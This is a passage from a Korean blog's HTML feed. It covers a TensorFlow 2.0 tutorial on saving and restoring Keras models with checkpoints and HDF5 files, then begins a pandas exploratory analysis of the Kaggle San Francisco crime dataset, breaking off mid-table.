&lt;pre&gt;&lt;code&gt;&amp;#39;2.1.0-rc1&amp;#39;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;(train_images, train_labels), (test_images, test_labels) = tf.keras.datasets.mnist.load_data()

#print(train_images.shape)
#print(train_labels.shape)
#print(test_images.shape)
#print(test_labels.shape)

train_labels = train_labels[:10000]
test_labels = test_labels[:10000]

train_images = train_images[:10000].reshape(-1, 28*28)/255.0
test_images = test_images[:10000].reshape(-1, 28*28)/255.0

#print(test_images[0])&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;모델정의&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 간단한 Sequential 모델을 반환
def create_model():
  model = tf.keras.models.Sequential([
                                     keras.layers.Dense(512, activation=&amp;#39;relu&amp;#39;, input_shape=(784,)),
                                     keras.layers.Dropout(0.2),
                                     keras.layers.Dense(10, activation=&amp;#39;softmax&amp;#39;)
  ])

  model.compile(optimizer=&amp;#39;adam&amp;#39;,
                loss=&amp;#39;sparse_categorical_crossentropy&amp;#39;,
                metrics=[&amp;#39;accuracy&amp;#39;])
  return model

# 모델 객체를 만듦
model = create_model()
model.summary()&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Model: &amp;quot;sequential&amp;quot;
_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
dense (Dense)                (None, 512)               401920    
_________________________________________________________________
dropout (Dropout)            (None, 512)               0         
_________________________________________________________________
dense_1 (Dense)              (None, 10)                5130      
=================================================================
Total params: 407,050
Trainable params: 407,050
Non-trainable params: 0
_________________________________________________________________&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;훈련하는 동안 체크포인트 저장하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;체크포인트(checkpoint) 자동 저장&lt;ul&gt;
&lt;li&gt;훈련 중간과 훈련 마지막에 체크포인트 저장을 많이 사용하는 방법&lt;/li&gt;
&lt;li&gt;다시 훈련하지 않고 모델을 재사용하거나 훈련과정이 중지된 경우 이어서 훈련 진행&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/ModelCheckpoint&quot;&gt;&lt;code&gt;tf.keras.callbacks.ModelCheckPoint&lt;/code&gt;&lt;/a&gt;콜백 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;체크포인트 콜백사용&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;checkpoint_path = &amp;#39;training_1/cp.ckpt&amp;#39;
checkpoint_dir = os.path.dirname(checkpoint_path)

cp_callback = tf.keras.callbacks.ModelCheckpoint(checkpoint_path,
                                                 save_weights_only=True,
                                                 verbose=1)

model = create_model()
model.fit(train_images, train_labels, epochs=10,
          validation_data = (test_images, test_labels),
          callbacks = [cp_callback])  # 훈련단계 콜백을 전달&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Train on 10000 samples, validate on 10000 samples
Epoch 1/10
 9760/10000 [============================&amp;gt;.] - ETA: 0s - loss: 0.4361 - accuracy: 0.8741
Epoch 00001: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 2s 195us/sample - loss: 0.4322 - accuracy: 0.8752 - val_loss: 0.2542 - val_accuracy: 0.9248
Epoch 2/10
 9696/10000 [============================&amp;gt;.] - ETA: 0s - loss: 0.2004 - accuracy: 0.9407
Epoch 00002: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 138us/sample - loss: 0.1990 - accuracy: 0.9411 - val_loss: 0.1924 - val_accuracy: 0.9395
Epoch 3/10
 9824/10000 [============================&amp;gt;.] - ETA: 0s - loss: 0.1330 - accuracy: 0.9606
Epoch 00003: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 136us/sample - loss: 0.1331 - accuracy: 0.9604 - val_loss: 0.1704 - val_accuracy: 0.9467
Epoch 4/10
 9696/10000 [============================&amp;gt;.] - ETA: 0s - loss: 0.0953 - accuracy: 0.9715
Epoch 00004: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 135us/sample - loss: 0.0946 - accuracy: 0.9718 - val_loss: 0.1618 - val_accuracy: 0.9520
Epoch 5/10
 9408/10000 [===========================&amp;gt;..] - ETA: 0s - loss: 0.0697 - accuracy: 0.9799
Epoch 00005: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 132us/sample - loss: 0.0712 - accuracy: 0.9792 - val_loss: 0.1408 - val_accuracy: 0.9543
Epoch 6/10
 9984/10000 [============================&amp;gt;.] - ETA: 0s - loss: 0.0499 - accuracy: 0.9857
Epoch 00006: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 133us/sample - loss: 0.0502 - accuracy: 0.9856 - val_loss: 0.1366 - val_accuracy: 0.9589
Epoch 7/10
 9696/10000 [============================&amp;gt;.] - ETA: 0s - loss: 0.0433 - accuracy: 0.9872
Epoch 00007: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 134us/sample - loss: 0.0435 - accuracy: 0.9874 - val_loss: 0.1427 - val_accuracy: 0.9575
Epoch 8/10
 9632/10000 [===========================&amp;gt;..] - ETA: 0s - loss: 0.0280 - accuracy: 0.9929
Epoch 00008: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 137us/sample - loss: 0.0282 - accuracy: 0.9930 - val_loss: 0.1417 - val_accuracy: 0.9589
Epoch 9/10
 9440/10000 [===========================&amp;gt;..] - ETA: 0s - loss: 0.0294 - accuracy: 0.9917
Epoch 00009: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 134us/sample - loss: 0.0296 - accuracy: 0.9918 - val_loss: 0.1364 - val_accuracy: 0.9603
Epoch 10/10
 9472/10000 [===========================&amp;gt;..] - ETA: 0s - loss: 0.0165 - accuracy: 0.9963
Epoch 00010: saving model to training_1/cp.ckpt
10000/10000 [==============================] - 1s 136us/sample - loss: 0.0166 - accuracy: 0.9962 - val_loss: 0.1365 - val_accuracy: 0.9620





&amp;lt;tensorflow.python.keras.callbacks.History at 0x7fe2e04573c8&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;!ls {checkpoint_dir}&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;checkpoint             cp.ckpt.data-00001-of-00002
cp.ckpt.data-00000-of-00002  cp.ckpt.index&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;훈련하지 않은 새모델 생성, 테스트 세트에서 평가&lt;ul&gt;
&lt;li&gt;훈련하지 않은 모델의 성능은 무작위로 선택하는 정도의 수준(~10% 정확도)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;model = create_model()
loss, acc = model.evaluate(test_images, test_labels, verbose=2)
print(&amp;quot;훈련되지 않은 모델의 정확도: {:5.2f}%&amp;quot;.format(100*acc))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10000/10000 - 1s - loss: 2.2941 - accuracy: 0.1117
훈련되지 않은 모델의 정확도: 11.17%&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;체크포인트에서 가중치를 로드하고 다시 평가&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;단, 가중치만 복원할땐 원본 모델과 동일한 구조로 모델을 만들어야 함&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;model.load_weights(checkpoint_path)
loss, acc = model.evaluate(test_images, test_labels, verbose=2)
print(&amp;quot;복원된 모델의 정확도: {:5.2f}%&amp;quot;.format(100*acc))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10000/10000 - 1s - loss: 0.1365 - accuracy: 0.9620
복원된 모델의 정확도: 96.20%&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;체크포인트 콜백 매개변수&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;콜백함수에서 제공하는 매개변수&lt;ul&gt;
&lt;li&gt;체크포인트 이름을 고유하게 만들기&lt;/li&gt;
&lt;li&gt;체크포인트 주기를 조정하기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;checkpoint_path = &amp;#39;training_2/cp--{epoch:04d}.ckpt&amp;#39;
checkpoint_dir = os.path.dirname(checkpoint_path)

cp_callback = tf.keras.callbacks.ModelCheckpoint(checkpoint_path,
                                                 save_weights_only=True,
                                                 verbose=1,
                                                 period=5)  # 5번째 에포크마다 가중치를 저장
model = create_model()
# 수동으로 가중치 저장
model.save_weights(checkpoint_path.format(epoch=0))
model.fit(train_images, train_labels,
          epochs=50, callbacks=[cp_callback],
          validation_data = (test_images, test_labels),
          verbose=0)&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;WARNING:tensorflow:`period` argument is deprecated. Please use `save_freq` to specify the frequency in number of samples seen.

Epoch 00005: saving model to training_2/cp--0005.ckpt

Epoch 00010: saving model to training_2/cp--0010.ckpt

Epoch 00015: saving model to training_2/cp--0015.ckpt

Epoch 00020: saving model to training_2/cp--0020.ckpt

Epoch 00025: saving model to training_2/cp--0025.ckpt

Epoch 00030: saving model to training_2/cp--0030.ckpt

Epoch 00035: saving model to training_2/cp--0035.ckpt

Epoch 00040: saving model to training_2/cp--0040.ckpt

Epoch 00045: saving model to training_2/cp--0045.ckpt

Epoch 00050: saving model to training_2/cp--0050.ckpt





&amp;lt;tensorflow.python.keras.callbacks.History at 0x7fe2e021e390&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;!ls {checkpoint_dir}&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;checkpoint               cp--0025.ckpt.data-00001-of-00002
cp--0000.ckpt.data-00000-of-00002  cp--0025.ckpt.index
cp--0000.ckpt.data-00001-of-00002  cp--0030.ckpt.data-00000-of-00002
cp--0000.ckpt.index           cp--0030.ckpt.data-00001-of-00002
cp--0005.ckpt.data-00000-of-00002  cp--0030.ckpt.index
cp--0005.ckpt.data-00001-of-00002  cp--0035.ckpt.data-00000-of-00002
cp--0005.ckpt.index           cp--0035.ckpt.data-00001-of-00002
cp--0010.ckpt.data-00000-of-00002  cp--0035.ckpt.index
cp--0010.ckpt.data-00001-of-00002  cp--0040.ckpt.data-00000-of-00002
cp--0010.ckpt.index           cp--0040.ckpt.data-00001-of-00002
cp--0015.ckpt.data-00000-of-00002  cp--0040.ckpt.index
cp--0015.ckpt.data-00001-of-00002  cp--0045.ckpt.data-00000-of-00002
cp--0015.ckpt.index           cp--0045.ckpt.data-00001-of-00002
cp--0020.ckpt.data-00000-of-00002  cp--0045.ckpt.index
cp--0020.ckpt.data-00001-of-00002  cp--0050.ckpt.data-00000-of-00002
cp--0020.ckpt.index           cp--0050.ckpt.data-00001-of-00002
cp--0025.ckpt.data-00000-of-00002  cp--0050.ckpt.index&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 가장 마지막에 만들어진 체크포인트 확인
lastest = tf.train.latest_checkpoint(checkpoint_dir)
lastest&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#39;training_2/cp--0050.ckpt&amp;#39;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;체크포인트 파일&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;체크포인트에 저장되어 있는 정보&lt;ul&gt;
&lt;li&gt;모델의 가중치를 포함하는 하나 이상의 샤드(shard)&lt;/li&gt;
&lt;li&gt;가중치가 어느 샤드에 저장되어 있는지를 나타내는 인덱스 파일&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;단일 머신에서 훈련한다면 .data-00000-of-00001 확장자를 가진 샤드 하나만 만들어 짐&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;수동으로 가중치 저장하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;수동으로 가중치 저장하는 방법: &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/Model#save_weights&quot;&gt;&lt;code&gt;Model.save_weights&lt;/code&gt;&lt;/a&gt;메서드 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 가중치를 저장
model.save_weights(&amp;#39;./checkpoints/my_checkpoint&amp;#39;)

# 가중치를 복원
model = create_model()
model.load_weights(&amp;#39;./checkpoints/my_checkpoint&amp;#39;)

loss, acc = model.evaluate(test_images, test_labels, verbose=2)
print(&amp;quot;복원된 모델의 정확도: {:5.2f}%&amp;quot;.format(100*acc))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10000/10000 - 1s - loss: 0.2244 - accuracy: 0.9663
복원된 모델의 정확도: 96.63%&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;모델 전체를 저장하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;전체 모델을 파일 하나에 저장하는 방법 제공&lt;ul&gt;
&lt;li&gt;원본 코드를 사용하지 않고 나중에 정확히 동일 상태에서 훈련을 다시 시작 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;저장되는 것들&lt;ul&gt;
&lt;li&gt;가중치&lt;/li&gt;
&lt;li&gt;모델 구성(구조)&lt;/li&gt;
&lt;li&gt;옵티마이저에 지정한 설정&lt;ul&gt;
&lt;li&gt;현재는 텐서플로우 옵티마이저를 저장할 수 없음, 모델 로드후 다시 컴파일 해야 함, 옵티마이저의 상태는 유지되지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;모델의 체크포인트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;HDF5 파일로 저장하기&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;케라스는 &lt;a href=&quot;https://en.wikipedia.org/wiki/Hierarchical_Data_Format&quot;&gt;HDF5&lt;/a&gt; 표준의 기본 저장 포맷 제공&lt;ul&gt;
&lt;li&gt;모델을 하나의 이진파일(binary blob)처럼 다룰 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;model = create_model()

model.fit(train_images, train_labels, epochs=5)

# 전체 모델을 HDF5파일로 저장
model.save(&amp;#39;my_model.h5&amp;#39;)&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Train on 10000 samples
Epoch 1/5
10000/10000 [==============================] - 1s 91us/sample - loss: 0.4399 - accuracy: 0.8770
Epoch 2/5
10000/10000 [==============================] - 1s 69us/sample - loss: 0.2002 - accuracy: 0.9436
Epoch 3/5
10000/10000 [==============================] - 1s 71us/sample - loss: 0.1314 - accuracy: 0.9608
Epoch 4/5
10000/10000 [==============================] - 1s 73us/sample - loss: 0.0992 - accuracy: 0.9711
Epoch 5/5
10000/10000 [==============================] - 1s 72us/sample - loss: 0.0694 - accuracy: 0.9802&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 가중치와 옵티마이저를 포함하여 정확히 동일한 모델을 다시 생성
new_model = keras.models.load_model(&amp;#39;my_model.h5&amp;#39;)
new_model.summary()&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Model: &amp;quot;sequential_5&amp;quot;
_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
dense_10 (Dense)             (None, 512)               401920    
_________________________________________________________________
dropout_5 (Dropout)          (None, 512)               0         
_________________________________________________________________
dense_11 (Dense)             (None, 10)                5130      
=================================================================
Total params: 407,050
Trainable params: 407,050
Non-trainable params: 0
_________________________________________________________________&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;loss, acc = new_model.evaluate(test_images, test_labels, verbose=2)
print(&amp;quot;복원된 모델의 정확도: {:5.2f}%&amp;quot;.format(100*acc))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10000/10000 - 1s - loss: 0.1535 - accuracy: 0.9535
복원된 모델의 정확도: 95.35%&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;saved_model을 사용하기(지원중단됨)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;실험적인 메서드, 향후 버전에서 변경될 수 있음&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>AI&amp;amp;BigData/TensorFlow2.0</category>
      <category>keras HDF5저장</category>
      <category>tensorflow tutorial</category>
      <category>Tensorflow2.0모델저장과 복원</category>
      <category>모델전체저장</category>
      <category>수동가중치저장복원</category>
      <category>체크포인트 콜백 매개변수</category>
      <category>체크포인트저장</category>
      <category>체크포인트콜백</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/236</guid>
      <comments>https://eunguru.tistory.com/236#entry236comment</comments>
      <pubDate>Sat, 28 Dec 2019 01:44:11 +0900</pubDate>
    </item>
    <item>
      <title>San Francisco Crime Classification EDA</title>
      <link>https://eunguru.tistory.com/235</link>
      <description>&lt;h2&gt;San Francisco Crime Classification EDA&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Kaggle 주소: &lt;a href=&quot;https://www.kaggle.com/c/sf-crime&quot;&gt;San Francisco Crime Classification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;경진대회의 목표: 특정 위치 데이터를 활용해서 특정 시간대, 요일, 관할서에서 일어난 범죄를 분석해서 범죄의 구체적인 종류를 예측하는 것&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;elm&quot;&gt;&lt;code&gt;import pandas as pd
import numpy as np&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Load Dataset&lt;/h2&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;train = pd.read_csv('./data/train.csv')
print(train.shape)
train.head()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(878049, 9)&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;table class=&quot;dataframe&quot; border=&quot;1&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;text-align: right;&quot;&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;Dates&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Descript&lt;/th&gt;
&lt;th&gt;DayOfWeek&lt;/th&gt;
&lt;th&gt;PdDistrict&lt;/th&gt;
&lt;th&gt;Resolution&lt;/th&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;X&lt;/th&gt;
&lt;th&gt;Y&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;2015-05-13 23:53:00&lt;/td&gt;
&lt;td&gt;WARRANTS&lt;/td&gt;
&lt;td&gt;WARRANT ARREST&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;NORTHERN&lt;/td&gt;
&lt;td&gt;ARREST, BOOKED&lt;/td&gt;
&lt;td&gt;OAK ST / LAGUNA ST&lt;/td&gt;
&lt;td&gt;-122.425892&lt;/td&gt;
&lt;td&gt;37.774599&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2015-05-13 23:53:00&lt;/td&gt;
&lt;td&gt;OTHER OFFENSES&lt;/td&gt;
&lt;td&gt;TRAFFIC VIOLATION ARREST&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;NORTHERN&lt;/td&gt;
&lt;td&gt;ARREST, BOOKED&lt;/td&gt;
&lt;td&gt;OAK ST / LAGUNA ST&lt;/td&gt;
&lt;td&gt;-122.425892&lt;/td&gt;
&lt;td&gt;37.774599&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2015-05-13 23:33:00&lt;/td&gt;
&lt;td&gt;OTHER OFFENSES&lt;/td&gt;
&lt;td&gt;TRAFFIC VIOLATION ARREST&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;NORTHERN&lt;/td&gt;
&lt;td&gt;ARREST, BOOKED&lt;/td&gt;
&lt;td&gt;VANNESS AV / GREENWICH ST&lt;/td&gt;
&lt;td&gt;-122.424363&lt;/td&gt;
&lt;td&gt;37.800414&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2015-05-13 23:30:00&lt;/td&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;GRAND THEFT FROM LOCKED AUTO&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;NORTHERN&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;1500 Block of LOMBARD ST&lt;/td&gt;
&lt;td&gt;-122.426995&lt;/td&gt;
&lt;td&gt;37.800873&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2015-05-13 23:30:00&lt;/td&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;GRAND THEFT FROM LOCKED AUTO&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;PARK&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;100 Block of BRODERICK ST&lt;/td&gt;
&lt;td&gt;-122.438738&lt;/td&gt;
&lt;td&gt;37.771541&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;train.info()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;scala&quot;&gt;&lt;code&gt;&amp;lt;class 'pandas.core.frame.DataFrame'&amp;gt;
RangeIndex: 878049 entries, 0 to 878048
Data columns (total 9 columns):
Dates         878049 non-null object
Category      878049 non-null object
Descript      878049 non-null object
DayOfWeek     878049 non-null object
PdDistrict    878049 non-null object
Resolution    878049 non-null object
Address       878049 non-null object
X             878049 non-null float64
Y             878049 non-null float64
dtypes: float64(2), object(7)
memory usage: 60.3+ MB&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;데이터 설명&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;row의 사이즈가 매우 큰 데이터, 실전 데이터 분석에 도움이 될 듯&lt;/li&gt;
&lt;li&gt;column의 설명
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Datas&lt;/b&gt;: 범죄가 발생한 날짜와 시간&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Category&lt;/b&gt;: 범죄의 세부종류(label colum)&lt;/li&gt;
&lt;li&gt;Descript: 범죄의 세부정보(test.csv에는 없는 데이터, 참고용으로만 사용되는 데이터)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;DayOfWeek&lt;/b&gt;: 범죄가 발생한 요일(월~일)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PdDistrict&lt;/b&gt;: 범죄 관할 경찰서 이름(총 10개)&lt;/li&gt;
&lt;li&gt;Resolution: 범죄의 상태, 범죄 해결 여부(test.csv에는 없는 데이터, 참고용으로만 사용되는 데이터)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Address&lt;/b&gt;: 범죄가 발생한 구체적인 주소(미국의 주소체계, 샌프란시스코 주소체계에 대한 도메인 지식이 있다면 좋은 예측 모델을 나타낼 수 있음)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;X&lt;/b&gt;: 범죄가 발생한 좌표 정보(경도)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Y&lt;/b&gt;: 범죄가 발생한 좌표 정보(위도)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Explore&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;탐험적 데이터 분석(Exploratory Data Analysis, EDA)이 중요
&lt;ul&gt;
&lt;li&gt;파이썬 패키지는 자유롭게 선택가능&lt;/li&gt;
&lt;li&gt;데이터 시각화: matplotlib, seaborn, ggplot, bokeh 등 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Cross Validation을 활용해 머신러닝 모델의 성능을 측정, 점수로 피드백 받아 모델 개선(Try and Error 방식으로 모델을 점진적으로 개선함)
&lt;ul&gt;
&lt;li&gt;단, 모델이 개선되거나 개선되지 않았을 때 이유를 명확히 파악하기 어려움&lt;/li&gt;
&lt;li&gt;모델 개선의 구체적 전략을 짜는 것이 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Library loading&lt;/h3&gt;
&lt;pre class=&quot;haskell&quot;&gt;&lt;code&gt;# matplotlib으로 시각화하는 것을 jupyter notebook에 바로 띄움
%matplotlib inline
import seaborn as sns
import matplotlib.pyplot as plt&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dates Column&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dates 형식
&lt;ul&gt;
&lt;li&gt;dtype('O'): 문자열, object&lt;/li&gt;
&lt;li&gt;to_datetime()으로 변환&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;train[&quot;Dates&quot;].dtypes&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;dtype('O')&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;# 문자열(string, object) 데이터 타입을 DateTime 형태로 변환
pd.to_datetime(train[&quot;Dates&quot;]).dtypes&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;dtype('&amp;lt;M8[ns]')&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;train[&quot;Dates&quot;] = pd.to_datetime(train[&quot;Dates&quot;])
train.dtypes&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;scala&quot;&gt;&lt;code&gt;Dates         datetime64[ns]
Category              object
Descript              object
DayOfWeek             object
PdDistrict            object
Resolution            object
Address               object
X                    float64
Y                    float64
dtype: object&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;# pandas에 Dates 컬럼을 년,월,일,시,분,초 새로운 컬럼으로 따로 추가
train[&quot;Dates-year&quot;] = train[&quot;Dates&quot;].dt.year
train[&quot;Dates-month&quot;] = train[&quot;Dates&quot;].dt.month
train[&quot;Dates-day&quot;] = train[&quot;Dates&quot;].dt.day
train[&quot;Dates-hour&quot;] = train[&quot;Dates&quot;].dt.hour
train[&quot;Dates-minute&quot;] = train[&quot;Dates&quot;].dt.minute
train[&quot;Dates-second&quot;] = train[&quot;Dates&quot;].dt.second

print(train.shape)
train[[&quot;Dates&quot;, &quot;Dates-year&quot;, &quot;Dates-month&quot;, &quot;Dates-day&quot;, &quot;Dates-hour&quot;, &quot;Dates-minute&quot;, &quot;Dates-second&quot;]].head()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(878049, 15)&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;table class=&quot;dataframe&quot; border=&quot;1&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;text-align: right;&quot;&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;Dates&lt;/th&gt;
&lt;th&gt;Dates-year&lt;/th&gt;
&lt;th&gt;Dates-month&lt;/th&gt;
&lt;th&gt;Dates-day&lt;/th&gt;
&lt;th&gt;Dates-hour&lt;/th&gt;
&lt;th&gt;Dates-minute&lt;/th&gt;
&lt;th&gt;Dates-second&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;2015-05-13 23:53:00&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2015-05-13 23:53:00&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
